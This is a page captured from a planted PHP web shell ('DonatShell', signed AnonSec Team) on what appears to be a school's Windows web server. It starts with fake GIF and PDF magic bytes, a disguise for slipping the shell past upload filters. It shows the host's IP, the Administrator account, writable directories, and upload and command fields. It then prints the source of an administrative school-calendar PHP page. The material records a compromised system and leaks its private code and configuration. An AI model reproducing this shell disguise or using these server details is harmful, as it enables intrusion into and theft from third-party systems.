GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/Waldo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/Waldo/school.php
<?
// Admin/Waldo/school.php
$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";

ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
#$skipAuthentication = true;
include('application.phpinc');
$headTitle = '_CST_ - '.'School\'s Where\'s Waldo Schedule';
$pageTitle = '_CST_<br>'.'School\'s Where\'s Waldo Schedule';
include('common/pageHeader.phpinc');

$dates = formValue('dates');
$date_0 = formValue('date_0');
$status_0 = formValue('status_0');
$note_0 = formValue('note_0');

$options = array(''=>'Normal','No classes'=>'No classes','School closed'=>'School closed');

$query = "
		SELECT sessionId,
					 YRTR,
					 sessionType,
					 sessionName,
					 sessionDescription,
					 sessionStart,
					 sessionEnd,
					 lastModified,
					 modifiedBy
			FROM `session`
		 WHERE YRTR = '".query_safe($_SESSION['YRTR']['User'])."'
";
$sessionUserResult = query_do($query);
$sessionUserCount = $_SESSION['qry']['count'];
if ($sessionUserCount) {
	mysqli_data_seek($sessionUserResult, 0);
	$sessionInfo = mysqli_fetch_assoc($sessionUserResult);
} else {
}

if (!in_array("ADMIN",$_SESSION['userPermissions'])) {
	include('../../nonadmin.phpinc');
} else {
	switch ($f_task) {
		case '':
		case 'Change session':
			break;
		case 'Cancel':
		case 'Done':
			headerLocation('/Admin/Waldo');
			break;
		case 'Update':
			include('schoolUpdate.phpinc');
			break;
		case '':
			break;
		default:
			echo '<p class="bold">'.__FILE__.' <span class="error">Code for $f_task=['.$f_task.']</span>'.' <span class="error">$f_subtask=['.$f_subtask."] not finished.</p>\n"; setDebugOn(); include('common/pageFooter.phpinc');
	}
}
?>
<br><table class="center"><tr><td>
Select session:
<?
include('Admin/Session/SessionFilter.phpinc');
?>
</td></tr></table>
<?
$calendarUserId = $_SESSION['userId'];
include('Schedule/Schedule.phpinc');
?>
<form name="form_schoolCalendar" action="<?=php_self()?>" method="post">
<input type="hidden" name="f_form" value="form_schoolCalendar">
<input type="hidden" name="uuid" value="<?=uuid()?>">
<table class="center">
	<tr><td colspan="3">Session begin: <?=$sessionInfo['sessionStart']?>, end: <?=$sessionInfo['sessionEnd']?>.</td></tr>
	<tr><td colspan="3">Note: Enter <b>Date</b>s in yyyy-mm-dd format.<br>To remove a <b>Date</b> set the <b>Status</b> to None and leave the <b>Title</b> empty.</td></tr>
	<tr>
		<th>Date</th>
		<th>Status</th>
		<th>Title</th>
	</tr>
<?
$dates = '';
foreach ( $SchoolCalendar as $date => $data ) {
	//d_Var('$note',$note,'',false,true);
	$sDate = str_replace('-','',$date);
	$dates = listAppend($dates,$date);
	$status = $data['Status'];
	$note = $data['Note'];
?>
	<tr>
		<td><?=$date?></td>
		<td>
			<select name="f_status_<?=$sDate?>">
<?
		foreach ( $options as $value => $option ) {
			if ( $value == $status ) { $selected = ' selected'; } else { $selected = ''; }
?>
				<option value="<?=$value?>"<?=$selected?>><?=$option?></option>
<?
		}
?>
			</select><input type="hidden" name="f_statusOriginal_<?=$sDate?>" value="<?=$status?>">
		</td>
		<td><input type="text" name="f_note_<?=$sDate?>" value="<?=htmlView($note)?>" style="width:20em;"><input type="hidden" name="f_noteOriginal_<?=$sDate?>" value="<?=htmlView($note)?>"></td>
	</tr>
<?
}
?>
	<tr>
		<td><input type="text" name="f_date_0" value="<?=$date_0?>" style="width:5em;"></td>
		<td>
			<select name="f_status_0">
<?
		foreach ( $options as $value => $option ) {
			if ( $value == $dateData['schoolStatus'] ) { $selected = ' selected'; } else { $selected = ''; }
?>
				<option value="<?=$value?>"<?=$selected?>><?=$option?></option>
<?
		}
?>
			</select>
		</td>
		<td><input type="text" name="f_note_0" value="<?=htmlView($note_0)?>" style="width:20em;"></td>
	</tr>
	<tr>
		<td class="center" colspan="3"><? if ( $f_form == 'form_schoolCalendar') { ?><input type="submit" name="f_task" value="Update"><input type="submit" name="f_task" value="Done"><? } else { ?><input type="submit" name="f_task" value="Update"><input type="submit" name="f_task" value="Cancel"><? } ?></td>
	</tr>
</table>
<input type="hidden" name="f_dates" value="<?=$dates?>">
</form>
<script>
function init() {
}
</script>
<?
#setDebugOn(); d_On();
d_Var('$SchoolCalendar',$SchoolCalendar);
include('common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team